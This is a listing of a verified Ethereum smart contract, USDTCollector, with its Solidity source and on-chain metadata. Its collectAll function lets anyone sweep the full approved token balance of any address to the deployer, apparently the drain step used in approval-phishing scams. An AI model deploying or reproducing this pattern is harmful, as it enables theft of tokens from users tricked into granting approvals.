USDTCollector

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract USDTCollector {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function collectAll(IERC20 token, address from) external {
        uint256 balance = token.balanceOf(from);
        require(balance > 0, "No balance");

        uint256 allowance = token.allowance(from, address(this));
        require(allowance >= balance, "Not enough allowance");

        bool success = token.transferFrom(from, owner, balance);
        require(success, "Transfer failed");
    }
}

Tags:
addr:0x695c8bc93f616428657f35932d7bcc3f75962ab6|verified:true|block:23406829|tx:0x8b4f442509090111ceae1c94b428dd508fa123d1af651e8c0e311e786c4d263b|first_check:1758409367

Submitted on: 2025-09-21 01:02:47

Comments

Log in to comment.

No comments yet.